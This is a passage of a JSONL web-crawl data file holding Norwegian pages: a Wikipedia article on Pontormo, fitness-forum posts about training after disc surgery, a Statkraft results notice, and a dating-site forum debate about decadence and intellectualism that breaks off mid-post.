\u00e5r.\n\n**Bakgrunn:** Google lover oppmyket praksis\u00a0\n\n\u00a0\nMotta daglige nyhetsbrev fra digi.no?\n", "language": "no", "__index_level_0__": "ff5d3561-afca-4583-9fec-a4acdd0913a7"}
{"url": "https://no.wikipedia.org/wiki/Jacopo_da_Pontormo", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00111.warc.gz", "warc_date": "2018-03-25T00:01:24Z", "text": "# Jacopo da Pontormo\n\n\n\n\u00abGravleggelsen\u00bb (1525-1528). *Cappella Capponi*, *Santa Felicit\u00e0*, Firenze.\n\n**Jacopo Carrucci**, bedre kjent som **Jacopo da Pontormo** eller **Pontormo** (f\u00f8dt 24. mai 1494, d\u00f8d 2. januar 1557 i Firenze), var en av de tidligere og mest innflytelsesrike blant de italienske manieristene.\n\nHan var oppkalt etter sin f\u00f8deby Pontormo, en by n\u00e6r Empoli, men fikk sin skolering i den florentinske skolens stil \u2014 med all sikkerhet av Andrea del Sarto og trolig av Leonardo da Vinci og Piero di Cosimo. Han slo igjennom med utsmykningen av Medic\u00e9ernes villa i Poggio a Caiano, i n\u00e6rheten av Firenze, og malte i 1523 ytterligere en rekke fresker med motiv fra Kristi lidelseshistorie.\n\nPontormos litt kantete tegninger med innflytelse fra Michelangelo og D\u00fcrers grafikk og hans uvanlige bruk av farger kan best studeres i hovedverket \u00abGravleggelsen\u00bb (se bilde), mens \u00abKvinne med hund\u00bb (1532) viser hans manieristiske portrettstil. Rosso Fiorentino h\u00f8rte til hans rivaler, og Bronzino var hans elev og etterf\u00f8lger.\n\n## \u00abGravleggelsen\u00bb\\[rediger\u00a0| rediger kilde\\]\n\nI dette maleriet sammenf\u00f8res elementer av nedtagelsen fra korset, gravleggelsen og piet\u00e0 til et ikonografi. Kristus, jomfru Maria, som i svime synker sammen, og de andre s\u00f8rgende helgenene er sammenvevet i en sirkelform. Den ellevte figuren, ved bildets h\u00f8yre kant, er Pontormo selv.\n\nPontormo malte bildet som altermaleri for den florentinske familien Capponis gravkapell. Bildet, som Pontormo arbeidet p\u00e5 over tre \u00e5r, karakteriseres av kraftige farger, og det at de fleste skikkelsene ikke retter blikket mot Kristus, men snarere mot betrakteren.\n\n", "language": "no", "__index_level_0__": "ae3b9943-f1b7-4745-beee-df1ce19df02a"}
{"url": "http://forum.fitnessbloggen.no/tags/prolaps/", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00348.warc.gz", "warc_date": "2018-03-24T23:35:13Z", "text": "    Skriv inn n\u00f8kkelord separert med kommaer.\n\n1.  ** \n    \n    ##  Trening etter prolapsoperasjon \n    \n    SLL la til et emne i Skader og mobilitet\n    \n    Hei\\! Jeg har akkurat gjennomg\u00e5tt en vellykket prolapsoperasjon og f\u00e5tt beskjed av legen om \u00e5 ikke trene noe som helst p\u00e5 hvertfall fire-seks uker. Det de derimot oppfordrer til er \u00e5 g\u00e5, masse. F\u00f8r operasjonen var jeg for f\u00f8rste gang i mitt liv inne i et godt og lystbetont treningsregime, s\u00e5 det er utrolig kjipt \u00e5 miste alt jeg har jobbet for det siste \u00e5ret. Derfor lurer jeg m\u00e5 om noen har tips til hvordan jeg kan holde formen best mulig gjennom \u00e5 G\u00c5 p\u00e5 m\u00f8lla? Er det mulig \u00e5 opprettholde styrke i rumpe og bein ved \u00e5 g\u00e5 i oppoverbakke f. Eks.? Forslag til heftige, effektive g\u00e5-intervaller? Alle forslag mottas med takk.\n    \n      -  Mars 10\n    \n      -   - prolaps\n          - operasjon\n          - (og 2 andre) **\n              - tredem\u00f8lle\n\n2.  ** \n    \n    ##  Veien tilbake etter ett \u00e5rs forfall \n    \n    Tarzan la til et emne i Helse og livsstil\n    \n    Heisann, Jeg velger \u00e5 s\u00f8ke tilbake til dere i Fitnessbloggen for hjelp, det er lenge siden jeg sist var innom. M\u00e5 komme i form igjen.. (har v\u00e6rt fit for ett \u00e5r siden) Dagens status: Operert forrige tirsdag etter akutt ryggprolaps L5/S1 Venstre. (alpinskade) Sykmeldt med fysioterapi og sm\u00e5 hjemme\u00f8velser pluss noen g\u00e5turer. Forstyrra kosthold 8-uker gammelt overtr\u00e5kk(utside), fortsatt smerte. Denne listen er en tung mental-vekt, det skj\u00f8nner dere kanskje. Uansett hva jeg m\u00e5 gj\u00f8re, s\u00e5 m\u00e5 jeg starte forsiktig og strukturert, kanskje helst assistert av trener/motivator. Hvordan ville dere angrepet en slik situasjon?\n    \n      -  August 30, 2016\n    \n      -   - skader\n          - prolaps\n          - (og 1 andre) **\n", "language": "no", "__index_level_0__": "a114e541-9dca-4ffe-8dcd-841960d5e90a"}
{"url": "https://www.statkraft.no/IR/Stock-Exchange-Notices/2008/Statkraft---offentliggjoring-av-resultater-for-4-kvartal-2007/", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00608.warc.gz", "warc_date": "2018-03-24T23:41:38Z", "text": "# Statkraft - offentliggj\u00f8ring av resultater for 4. kvartal 2007\n\n06.02.2008 14.20 | b\u00f8rsmelding\n\nStatkraft offentliggj\u00f8r resultater for 4. kvartal og forel\u00f8pig \u00e5rsresultat 2007 torsdag 14. februar 2008 kl 08.00.\n\n\u00a0\n1\\) Materiale.\n\nKvartalsrapport og PowerPoint presentasjon p\u00e5 norsk og engelsk blir sendt til Oslo B\u00f8rs og gjort tilgjengelig p\u00e5 Statkrafts internettsider www.statkraft.no (engelsk materiale p\u00e5 www.statkraft.com) kl 08.00.\n\n\u00a0\n2\\) Presentasjon i Statkrafts lokaler med webcast p\u00e5 norsk.\n\nInvestorer, analytikere og media inviteres til presentasjon av resultatet kl 09.00 i Statkrafts lokaler i Lilleakerveien 6 i Oslo. B\u00e5de presentasjonen og p\u00e5f\u00f8lgende sp\u00f8rsm\u00e5l/svar sesjon holdes p\u00e5 norsk og overf\u00f8res via webcast p\u00e5 Statkrafts internettsider www.statkraft.no.\n\n\u00a0\nP\u00e5melding til presentasjonen sendes til email@example.com.\n\n\u00a0\n3\\) Telefonkonferanse p\u00e5 engelsk.\n\nTelefonkonferansen starter kl 11.00 norsk tid. En gjennomgang av resultatene vil bli gitt f\u00f8r det \u00e5pnes for sp\u00f8rsm\u00e5l.\n\n\u00a0\nFor \u00e5 delta i telefonkonferansen, vennligst ring 800 80 119 og be operat\u00f8ren om Statkraft-presentasjonen. Vennligst oppgi navn og selskap.\n\n\u00a0\n", "language": "no", "__index_level_0__": "cfbfc970-11a1-42b4-9d50-796daa32597a"}
{"url": "https://sukker.no/dating-forum/97250-dekadanse.html", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00348.warc.gz", "warc_date": "2018-03-24T23:50:37Z", "text": "# dekadanse\n\nSkjult ID med pseudonym ripset fr. 22 aug. 2008 23:37  \n\nJeg er s\u00e5 lei. Jeg er s\u00e5 lei, hva er det vi driver med? Hva er det vi er opptatt av? Hva er det vi lengter etter? Hva er det som beveger oss?  \n  \nUtfra profilene p\u00e5 sukker \u00e5 d\u00f8mme, er de fleste opptatt av \u00e5 NYTE livet. Fint nok. Nyte. \u00c5 v\u00e6re livsnyter, st\u00e5r visst h\u00f8yt i kurs. Men hvor kjedelig blir ikke det i lengden? Hva med \u00e5 l\u00e6re, s\u00f8ke, kjempe, elske, sprenge? Er det ingenting som er viktig lenger?  \n  \nVi er s\u00e5 dekadente og stinne og samtidig s\u00e5 triste og ulykkelige - og samtidig skj\u00f8nner vi ikke hvorfor. Da pr\u00f8ver vi \u00e5 plassere grunnen til den ubehagelige f\u00f8lelsen utenfor oss selv - og s\u00e5 skylder vi p\u00e5 naboen eller tidsklemma eller bensinprisene eller ett eller annet. Vi blir aggressive. S\u00e5nn er vi blitt, synes jeg, vi er livsnytere - eller aggressive.  \n  \nHva er det vi driver med? Er vi ikke opptatt av noe annet et champagne og boblebad og trening og faste rumper og reiser her og der og \"kan ogs\u00e5 slappe av p\u00e5 sofaen av og til\"?  \n  \nEr det bare jeg som er lei, og litt ensom, og som lengter etter at noe skal st\u00e5 p\u00e5 spill\\!?\\!?\\!?\\!  \n  \nHilsen Ripset,  \nst\u00e5r klar til \u00e5 f\u00e5 bank.\n\nSkjult ID med pseudonym s fr. 22 aug. 2008 23:43  \n\nNoe av problemet n\u00e5r en faktisk m\u00e5 skrive NOE i profilene, er at det fort gjentakelser og enkeltpunkter, som gj\u00f8r at folk lett kan settes i den og den b\u00e5sen - sjelden s\u00e6rlig konstruktivt. Men s\u00e5nn er det bare.  \n  \nDet blir nok din tur \u00e5 lykkes (igjen) ogs\u00e5, selv om det ikke n\u00f8dvendigvis trenger \u00e5 skje her.  \n  \nSelv om jeg synes Sukker er klart best, og av og til har et s\u00e6rdeles underholdene forum, skal jeg ikke nekte for at jeg har blitt passe forstyrret i den delen av tankegangen som ang\u00e5r det andre kj\u00f8nn etter bruk av nettdatetjenester en liten stund.\n\nSkjult ID med pseudonym ripset fr. 22 aug. 2008 23:43  \n\nTakk. Men jeg snakker egentlig ikke spesielt om sukker og sjekking. Jeg snakker om samfunnet vi lever i.\n\nSkjult ID med pseudonym s fr. 22 aug. 2008 23:47  \n\n\u00c5ja, beklager.  \n  \nMelder meg herved litt ut, tror jeg.\n\n (mann 56 \u00e5r fra Hordaland)  fr. 22 aug. 2008 23:50  Privat melding \n\u00c5 nyte livet er det eneste som gir mening. Enten nyter man de stille stundene og de lettvinte l\u00f8sningene, eller s\u00e5 nyter man det \u00e5 l\u00e6re, s\u00f8ke, elske, sprenge. Nyting er ikke et blindspor, men en innstilling for \u00e5 takle de utfordringer livet gir. Btw, likte nicket ditt ^^\n\nSkjult ID med pseudonym mann29 fr. 22 aug. 2008 23:57  \n\n@ TS  \n  \nSlik jeg oppfatter innlegget ditt opplever du at mennesker i samfunnet rundt deg rett og slett har blitt blaserte. Blaserte og fjernet fra 'det virkelige liv'. Men se rundt deg :-) Plutselig vil du oppdage at mennesker som stiller n\u00f8yaktig de samme sp\u00f8rsm\u00e5lene som deg, de finnes her og der :-)  \n  \nTa en pause. Se deg rundt :-)\n\nSkjult ID med pseudonym ripset l\u00f8. 23 aug. 2008 00:00  \n\n@morpheon  \n  \nFint sagt. Klokt. Men du m\u00e5 da v\u00e6re enig i at vi lever i en dekadent verden? og p\u00e5 toppen av det hele har det jo kommet en unders\u00f8kelse n\u00e5, gjort i Bergen, som viser en ekstrem antiintellektualisme hos middelklassen. Det er fy-fy i Norge \u00e5 mene noe som helst om noe som helst, unntatt hvilket potetgull som er best og s\u00e5nt. Folk vil ikke ha noe med finkultur \u00e5 gj\u00f8re, og Frp vil jo ikke bare l\u00f8fte \"folkekulturen\", som er vel og bra, men faktisk FJERNE \\!\\!\\!\\!\\! finkulturen. Hva det n\u00e5 betyr - men det er sikkert den kulturen som stiller vanskelige sp\u00f8rsm\u00e5l, feks ang\u00e5ende dekandansen vi lever i. Bort med sp\u00f8rsm\u00e5l. Inn med pottis.  \n  \nEn antiintellektuell dekadanse, det er det vi bader i. Og jeg mener ikke \u00e5 kritisere de som ikke synes de er intellektuelle - jeg snakker om fortakten nordmenn har folk folk som vil noe, t\u00f8r noe, brenner.  \n  \nFyameg.\n\nSkjult ID med pseudonym ripset l\u00f8. 23 aug. 2008 00:02  \n\n@mann29  \nfor det f\u00f8rste heter jeg ripset. For det andre gj\u00f8r jeg jo akkurat det du ber meg om n\u00e5, dummen. Jeg ser meg rundt. Jeg vil derimot ikke ta pause. Ikke n\u00e5. Jeg synes det er altfor lett \u00e5 ta pause. Folk tar jo faen meg pause hele tiden. Pottis.  \n  \nPause.\n\nSkjult ID med pseudonym Morpheon l\u00f8. 23 aug. 2008 00:05  \n\nVi lever i en verden full av utfordringer, og for\u00f8vrig liker jeg s\u00f8rlandschips best =)\n\nSkjult ID med pseudonym mina l\u00f8. 23 aug. 2008 00:28  \n\nSkj\u00f8nner hva du mener.  \nDu savner kanskje en revolusjon for eksempel.  \nOm vi er alle glade vi ikke opplevde krigen, s\u00e5 hadde jo v\u00e5re foreldre/besteforeldre noe \u00e5 kjempe mot, og for,  \nnoe som betydde noe. Vi har liksom ikke noe man skal revolusjonere i v\u00e5r n\u00e6re verden...  \nOg det skal vi jo v\u00e6re glade for.  \n  \nMen det betyr ikke at vi ikke kan bidra til \u00e5 gj\u00f8re verden bedre - ved \u00e5 gj\u00f8re gode gjerninger, ved \u00e5 kjempe mot urett. Det er nok av organisasjoner - fra Amnesty til Human Rights Services til R\u00f8de Kors eller Natteravnene.  \n  \nMen jeg kan ikke annet enn \u00e5 bli litt deppa jeg ogs\u00e5 mtp intellektets forfall. Man ser det f\u00f8rst og fremst i pressen. Er det dette folk vil ha, eller er det det sneversynte journalister tror folk vil ha? Rapporter om kjoler og skilsmisser blant kjendisene i denne lille andedammen? Var p\u00e5 \u00c5rets moteuke (invitert) - med en flau smak i munnen. N\u00e5 er vel ikke motebransjen den som skal skytes f\u00f8rst, den er jo pr definisjon overfladisk. Men det jeg trodde kanskje kunne bli et lyspunkt i dekadansen; nICE (Norwegian Initiative for Clean & Ethical Fashion) ble presentert an en kvinnelig prosjektleder som et initativ der fokuset var p\u00e5 logo, alle invitasajonen de fikk til diverse messer (LA, K\u00f8benhavn, Nepal), hvor morsomt de hadde det og hvem de fikk m\u00f8te rundt om - ikke ET ORD ble sagt om hva de skulle utrette.  \n  \nHva jeg gj\u00f8r selv? Kj\u00f8per ikke Se & H\u00f8r, VG eller Dagbladet, leser og f\u00f8lger med p\u00e5 nyheter utenriks og innnriks (synes det er en plikt \u00e5 vite), jeg resirkulerer kl\u00e6r, st\u00f8tter ovennevnte organisasjoner og hjelper min gamle nabo. Og vil l\u00e6re mine barn \u00e5 ta vare p\u00e5 verden. Men det er ikke nok, jeg f\u00f8ler fors\u00f8plingen og dekadansen kryper innp\u00e5.\n\nSkjult ID med pseudonym ripset l\u00f8. 23 aug. 2008 00:58  \n\nTakk, Mina. Ja, jeg savner en revolusjon, for eksempel. Og s\u00e5 savner jeg at vi tar tak i v\u00e5re egne liv - slik du gj\u00f8r, for eksempel - og pr\u00f8ver \u00e5 fylle de med innhold. \u00c5 redde hele verden er vel litt stormannsgalt og ogs\u00e5 slitsomt - men som individer er vi jo i prinsippet akkurat like myndige til \u00e5 forandre som alle de 5,999 999 999 andre individene vi lever sammen med.  \n  \nOg ogs\u00e5 i den helt private sf\u00e6ren kan man i det minste pr\u00f8ve \u00e5 finne mening eller skape mening. Det du forteller fra moteuka er jo f\u00f8rst og fremst trist. Sukker er et fint sted \u00e5 f\u00e5 et innblikk i hvordan befolkningen snakker om seg selv (selv om jeg bare leser mennenes profiler). Folk sier jo stort sett at de bare er glade og positive hele tiden. Men jeg tror dessverre ikke p\u00e5 det. Folk som bare er glade og som bare surfer p\u00e5 det sanselige livets gleder m\u00e5 ha det veldig slitsomt, tror jeg. Slitsomt og ensomt. Det m\u00e5 v\u00e6re veldig slitsomt \u00e5 finne mening da, etter den hundrede flasken med god vin og etter at den tusende druen er gulpet ned.  \n  \nNoen ganger tenker jeg at gudskjelov for meningsl\u00f8sheten - for ellers ville vi ikke kunne skj\u00f8nne hva mening er. Og mening er da vel viktig? Hallo, der ute\\!\\!\\!\\! Mening er da vel viktig?\\!?\n\nSkjult ID med pseudonym Mann 25 l\u00f8. 23 aug. 2008 01:39  \n\nMorpheon sa det ganske godt; \"eller s\u00e5 nyter man det \u00e5 l\u00e6re, s\u00f8ke, elske, sprenge. Nyting er ikke et blindspor, men en innstilling for \u00e5 takle de utfordringer livet gir\"  \nDet er ikke gitt at livsnytelse IKKE inkluderer \"l\u00e6re, s\u00f8ke, kjempe, elske, sprenge\". N\u00e5r jeg sprenger egne grenser, l\u00e6rer noe nytt, s\u00f8ker det ukjente, kjemper for det jeg tror p\u00e5 eller elsker, da nyter jeg selvf\u00f8lgelig livet. Men det er mulig at jeg ikke er noen champis-kis ;-)  \n  \nOg hva \"pause\" ang\u00e5r synes jeg at alt for F\u00c5 tar seg pause. Alle er for opptatt av jobb og karriere, h\u00f8ytsvevende interesser, et liv i sus og dus. Bare se p\u00e5 \u00f8kning i s\u00e5kalte livsstils-sykdommer her til lands\\! Spesielt hos de under 30/35. De glemmer rett og slett \u00e5 stoppe opp, h\u00f8re humla suse, for s\u00e5 \u00e5 ta seg opp til at man atter kan \"l\u00e6re, s\u00f8ke, kjempe, elske, sprenge\".. og ingen har sagt at man ikke kan pause i mens. Pausens varighet er n\u00f8dvendigvis ikke en evighet..  \n  \nFor \u00f8vrig en digresjon, men kan denne dekadensen v\u00e6re en medvirkende \u00e5rsak i at partiet som taler til egoisten i individet n\u00e5 er skremmende store her til lands?\n\nSkjult ID med pseudonym ripset ma. 25 aug. 2008 14:55  \n\n@mann25  \n  \nTil sluttsp\u00f8rsm\u00e5let: Ja selvf\u00f8lgelig. :D  \n  \nEllers sp\u00f8rs det jo hva man mener med pause. N\u00e5r jeg sier at folk tar pause hele tiden, s\u00e5 mener jeg nok noe annet enn det du peker p\u00e5 - og som du selvsagt har rett i. Jeg synes folk tar pause fra sp\u00f8rsm\u00e5lene, veldig mye. hva slags sp\u00f8rsm\u00e5l? De som konfronterer oss litt, noen ganger l\u00e5ser oss litt - men som s\u00e5 f\u00f8rer oss videre.  \n  \nS\u00e5 det at vi er s\u00e5 j\u00e6vla travle er ofte en flukt fra sp\u00f8rsm\u00e5lene vi unng\u00e5r \u00e5 stille, for \u00e5 si det litt tabloid. jeg flykter selv. Min internettbruk er altfor h\u00f8y, og er del av min flukt.\n\nSkjult ID med pseudonym Gj\u00f8ken ma. 25 aug. 2008 17:22  \n\nJeg f\u00f8ler at samtalen her inne beh\u00f8ver noe nytt og annerledes, og serverer derfor f\u00f8lgende visdomsord fra den kjente og kj\u00e6re \"Jeg gikk en tur p\u00e5 stien\"  \nVelbekomme (og god bedring, alle sammen):  \n  \nKo-ko, ko-ko, ko-ko ko-ko ko-ko.  \nKo-ko, ko-ko, ko-ko ko-ko ko-ko\n\nSkjult ID med pseudonym ripset ma. 25 aug. 2008 17:40  \n\nBeklager gj\u00f8ken. Jeg synes innspillet ditt er b\u00e5de irrelevant - og uelegant.\n\nSkjult ID med pseudonym Filosoft ti. 26 aug. 2008 01:55  \n\nVi er helt klart inne i et samfunn med lite intellektuell stimulans, men at den er der, er det ingen tvil om. Leser mye filosofi n\u00e5, og har kommet til eksistensialismen som setter en del sp\u00f8rsm\u00e5l med hvordan man kan velge og leve livet sitt. For det er faktisk valg man har.  \n  \nDen beste m\u00e5ten \u00e5 finne noe man er lidenskapelig opptatt av da mange f\u00f8ler at lykke blir m\u00e5lt i pengesekken. Det trengs baller for \u00e5 bli engasjert og lykkelig. Mange har valgt feil, t\u00f8r man r\u00f8ske i rota og sette nye r\u00f8tter et annet sted?  \n  \nNoen enkle tips som kan sette deg i rett spor, Yoga, Lese filosofi, g\u00e5 deg en tur i skogen. L\u00e6re deg noe nytt. Noe av det beste man kan gj\u00f8re for at det man sier skal ha noe som helst validitet er \u00e5 komme med et forslag til HVA man kan gj\u00f8re.  \n  \nSkriv inn dette s\u00f8keordet, The Teaching Company. And start learning. Eller ikke ;)\n\nSkjult ID med pseudonym Organ ti. 26 aug. 2008 07:39  \n\nSelv om du bruker noen sterke spr\u00e5klige virkemidler er jeg tib\u00f8yelig til \u00e5 v\u00e6re enig med noe av det du skriver. To eksempler p\u00e5 ting som bare er nitrist er at landets st\u00f8rste avis, som er full av kompetente journalister, reduserer seg selv til \u00e5 v\u00e6re en daglig infotainment-blekke. Det er ogs\u00e5 sv\u00e6rt lite tilfredsstillende at selve Rikskringkasteren henger seg opp i en helt irrelevant konkurranse med kommersielle akt\u00f8rer i stede for \u00e5 gj\u00f8re det de er virkelig gode p\u00e5: God folkeopplysning\\! NRK kunne f.eks utvidet Urix-redaksjonen og hatt daglige sendinger p\u00e5 minst \u00e8n time i prime-time.  \n  \nFor inspirerende tanker og ideer sjekk denne adressen: http://www.ted.com/\n\n (mann 33 \u00e5r fra Oslo)  ti. 26 aug. 2008 10:56  Privat melding \n\nFilosoft hvorfor er filosofi synonymt med intellektuell stiumlans og Yoga i den fysiske formen f\u00f8rer stort sett til betennelser og spesielt skader i hoftene hos kvinner, \u00f8velsene kan ogs\u00e5 skape mye stress da de l\u00e5ser nakken ganske kraftig.  \nYoga ble ofte praktisert med opiater som smertestillende slik at det sjeldent ble trukket noen direkte sammenheng med leddskader, men idag er det for lengst kartlagt.  \n  \nBlir ikke det en eneste stor klisje? Etter at jeg var ferdig med exphil synes jeg filosofi virket som en ekstrem form for mastrubasjon, som tiltrekker seg mennesker som liker lyden av sin egen stemme. En eldgammel pedofil fjellgeit med en elsk for unge gutter som ikke har sett verden utenfor hellas og ikke ante hva som fantes utenfor \u00f8ya han ble (inn)avlet av kan i sv\u00e6rt begrensede former v\u00e6re relevant for noen idag?  \n  \nFor meg virker det som Filosofi er en slags evig krangel der ingen egentlig kan hevde \u00e5 ha rett eller bli beskyldt for \u00e5 ta feil.  \n  \nMen \u00e5 g\u00e5 turer i skogen og \u00e5 l\u00e6re seg noe nytt er noe jeg ofte pr\u00f8ver..selv om det \u00e5 l\u00e6re seg noe helt nytt fra scratch virkelig krever t\u00e5lmodighet, er det ofte verdt det.\n\nSkjult ID med pseudonym Filosoft ti. 26 aug. 2008 13:22  \n\n@SteinR  \n  \nSer ikke p\u00e5 meg selv som noen spesielt intellektuell person. Det filosofi kan gj\u00f8re er \u00e5 gi br\u00f8dboksen en liten kick start for \u00e5 begynne \u00e5 ta noen grep. Husk at det er mange av oss (meg inkludert) som aldri har h\u00f8rt noe om filosofi bortsett fra noen gamle greske navn. Jeg mener at filosofi alltid vil v\u00e6re relevant for mennesker. S\u00e5 lenge vi stiller oss sp\u00f8rsm\u00e5l som hvorfor er jeg / vi her, hva er poenget. S\u00e5 kan filosofi gi deg noen verkt\u00f8y \u00e5 jobbe med.  \n  \nN\u00e5r det kommer til din opplevelse av Yoga, s\u00e5 m\u00e5 jeg nok bare konkludere med at her er vi uenige. Var selv ute for en stupe ulykke der jeg slet en god stund med nakke / rygg skader. Etter 2 m\u00e5neder med Yoga var jeg helt fin igjen. N\u00e5 vet jeg ikke om du har pr\u00f8vd Yoga selv, eller om dette kun er ting du har lest deg til. F\u00f8r jeg ble lurt med av to venninner s\u00e5 tenkte jeg at Yoga kun var for gravide kvinner og metrofile menn. Har m\u00e5tte bite i meg de ordene.  \n  \nN\u00e5r du skriver at filosofi er en evig krangel der ingen har rett, s\u00e5 er det muligens akkurat det vi trenger. Fordi i en krangel s\u00e5 har man to sider, har man to sider s\u00e5 skjer det en bevisstgj\u00f8ring rundt et problem. Er man klar over at man har et problem s\u00e5 har man muligheten til \u00e5 gj\u00f8re noe med det.  \n  \nJeg mener selv at de eksemplene jeg kom med er relevante, her er det ikke n\u00f8dvendigvis m\u00e5let som er viktigst, men hvordan man kommer ditt. Noen kommer ditt med \u00e5 g\u00e5 i skogen, andre yoga. Andre med \u00e5 svette p\u00e5 sykkelen i noen mil i \u00f8s p\u00f8s regnv\u00e6r. Poenget mitt er, fin deg en lidenskap og spre denne.\n\nSkjult ID med pseudonym ripset ti. 26 aug. 2008 17:15  \n\nHei - skal jeg ikke f\u00e5 bank? Skal ikke noen snart fortelle meg at jeg ikke er det fnugg bedre selv, at jeg driter meg ut, at jeg tror jeg er noen, at jeg er en j\u00e6vla snobb som pr\u00f8ver \u00e5 posisjonere meg? Skal ingen fortelle meg dette? Hva er det som skjer?  \n  \nDette er ikke verden som jeg kjenner den. Det liker jeg. Og hvis noen skulle v\u00e6re i tvil, s\u00e5 tror jeg at jeg er noen. Jeg er kanskje ikke noe s\u00e6rlig bedre selv, jeg er nok dekadent s\u00e5 det holder. Vanskelig \u00e5 ikke v\u00e6re det i dette storforbrukersamfunnet. Jeg pr\u00f8ver \u00e5 kjenne etter ganske ofte hva som betyr noe for meg, og jeg pr\u00f8ver \u00e5 legge merke til hvor bra jeg har det. Jeg tjener jo 250 000 i \u00e5ret og er med andre ord rik. Tenk det. Vi er jo rike alle sammen, nesten, og dette er jo lett \u00e5 se feks utfra profilene p\u00e5 sukker. Mange som sier de liker luksus - og luksusen er jo sl\u00e5ende tilgjengelig.  \n  \nMen jeg gjentar, jeg tror at jeg er noen, og faktisk, helt anonymt, gj\u00f8r jeg fraspark og innr\u00f8mmer herved at jeg synes jeg er litt intellektuell. Jeg er klar over at dette er totalt tabu i dette jantelovlandet (jantelov hva gjelder kulturell kapital - det har jo den tidligere nevnte unders\u00f8kelsen i bergen vist), men det er desto g\u00f8yere. Jeg er intellektuell, jeg er en del av kultureliten, jeg tror jeg er noen og samtidig s\u00e5 er jeg et helt vanlig gudsord fra landet. Jeg er alts\u00e5 folk flest. Tilfeldigvis en av de 66 % av folk flest som ikke stemmer FRP. Jeg har ikke lest s\u00e6rlig filosofi, men skulle gjerne gjort det, og eksistensialismen fokuserer nettopp - s\u00e5 vidt jeg vet - p\u00e5 at vi alle skaper v\u00e5re egne liv. Hele tiden. Det er vanskelig \u00e5 ta innover seg, men frigj\u00f8rende, tror jeg, hvis man tar sjansen.  \n  \nN\u00e5 m\u00e5 jeg da f\u00e5 bank snart. Om ikke annet s\u00e5 for retningsl\u00f8sheten i innlegget.\n\nSkjult ID med pseudonym Morpheon ti. 26 aug. 2008 17:29  \n\nSkjult ID med pseudonym sn\u00e5lt ti. 26 aug. 2008 17:46  \n\ni allefall kvasi-intellektuell.\n\nSkjult ID med pseudonym ripset ti. 26 aug. 2008 19:16  \n\nQIUZZZZ  \n  \nHvor mange prosent i dette kulturelt sett jantelovslandet er intellektuelle? Hvor mange t\u00f8r \u00e5 kalle seg intellektuelle? Er vi et ikke-intellektuelt land, eller nekter vi bare \u00e5 anerkjenne oss selv og andre?  \n  \nJeg tror at fem prosent av befolkningen er intellektuelle, og at en prosent innr\u00f8mmer det. Er sp\u00f8rsm\u00e5let intellektuelt? Overhodet ikke\\!\\!\\! Men akk\\! akk\\! S\u00e5 dekadent\\!  \n  \nHvor mange prosent av befolkningen er dekadente? Og hvor mange innr\u00f8mmer at de er det?  \n  \nVinneren f\u00e5r en rosin.\n\nSkjult ID med pseudonym ripset ti. 26 aug. 2008 23:35  \n\nKryssordboka: dannet, intelligens/intelligensia, \u00e5ndelig  \n  \nTanums store rettskrivningsordbok: som h\u00f8rer til forstanden,forstandsmessig, forstandspreget; som beskjeftiger seg med \u00e5ndelig arbeid.  \n  \nEr intellektuell er skjellsord? eller et sjelsord :)\n\n (mann 36 \u00e5r fra Akershus)  ti. 26 aug. 2008 23:43  Privat melding \n\nVi m\u00e5 sp\u00f8rre oss??Den siste dagen i livet v\u00e5rt..hva vil vi huske ??All den l\u00e6rdom vi har strebet etter.For \u00e5 kunne bli husket for noe.Eller alle de fantastiske stunder i livet som vi selv bare husker...S\u00e5 hva er s\u00e5 viktig i livet..Leve slik at andre vil huske deg,eller leve et liv som du husker selv som fantastisk.Hva er viktigst.??Jeg vet at hver dag er en ny gave..S\u00e5 skal aldri slutte \u00e5 nyte jeg:)Men vi har alle forskjellige m\u00e5l med hva vi gj\u00f8r her i livet..Den dagen vi kan respektere det ,f\u00e5r vi et nytt samfunn..Det er mitt svar.. Intelektuelt eller ikke;)\n\nSkjult ID med pseudonym kit001 ti. 26 aug. 2008 23:44  \n\nhttp://no.wikipedia.org/wiki/Intellektuell  \n  \nDefinisjoner  \n  \nI sin vide betydning kan en intellektuell v\u00e6re et yrke som inneholder intellektuell aktivitet, hvilket vil inkludere l\u00e6rere, ingeni\u00f8rer, jurister og flere, eller i en snever forstand en person som tilh\u00f8rer samfunnets intelligentsia.  \n  \nMange anser at en intellektuell er en som holder rede p\u00e5 og analyserer samfunnet omkring seg. Det inneb\u00e6rer at sosiologer, statsvitere og filosofer er de mest intellektuelle. Blant de mest kjente n\u00e5levende intellektuelle er den ameriaknske spr\u00e5kviteren, aktivisten og forfatteren Noam Chomsky og den italienske filosofen og forfatteren Umberto Eco. De ble k\u00e5ret som henholdsvis nummer \u00e9n og to blant verdens 100 viktigste intellektuelle av de amerikanske tidsskriftene Foreign Policy og Prospect i samarbeid med leserne.  \n  \nEn tredje definisjon kan inneb\u00e6re en som er interessert i kunnskap og l\u00e6ring og ganske enkelt kan like \u00e5 vite mye om ulike teoretiske emner. Mange som redigerer og skriver artikler i Wikipedia, vil da v\u00e6re i denne kategorien.\n\nSkjult ID med pseudonym ripset ti. 26 aug. 2008 23:45  \n\nkult :)  \n  \nhva er dekadanse da? :)\n\nSkjult ID med pseudonym ripset ti. 26 aug. 2008 23:47  \n\nog hvem er det flest av? :D for \u00e5 opprettholde den litt tabloide stilen her hehe\n\nSkjult ID med pseudonym ripset on. 27 aug. 2008 00:19  \n\nherlig og presis definisjon.\n\nSkjult ID med pseudonym ripset on. 27 aug. 2008 00:19  \n\nalts\u00e5; herlig trist\n\nSkjult ID med pseudonym Filosoft on. 27 aug. 2008 01:13  \n\nProblemet er muligens at intellektuell og \u00e5ndelig ikke g\u00e5r h\u00e5nd i h\u00e5nd, selvom vi sikkert tenker at det burde det. Jeg tror ikke n\u00f8dvendigvis at det er det intellektuelle det stopper p\u00e5, men noe som driver oss. Jeg tror det mange av oss ser etter er en form for lidenskap, og da snakker jeg ikke om den som oppst\u00e5r mellom en man og kvinne. Men den som driver en person opp om morgenen \u00e5 f\u00e5r han / henne til \u00e5 f\u00f8le at han ikke trenger \u00e5 trykke i seg 2 kopper kaffe for at man skal f\u00e5 kroppen til \u00e5 fungere.  \n  \nJeg snakker om \u00e5 v\u00e6re engasjert utover hva som g\u00e5r p\u00e5 TVen i kveld, og 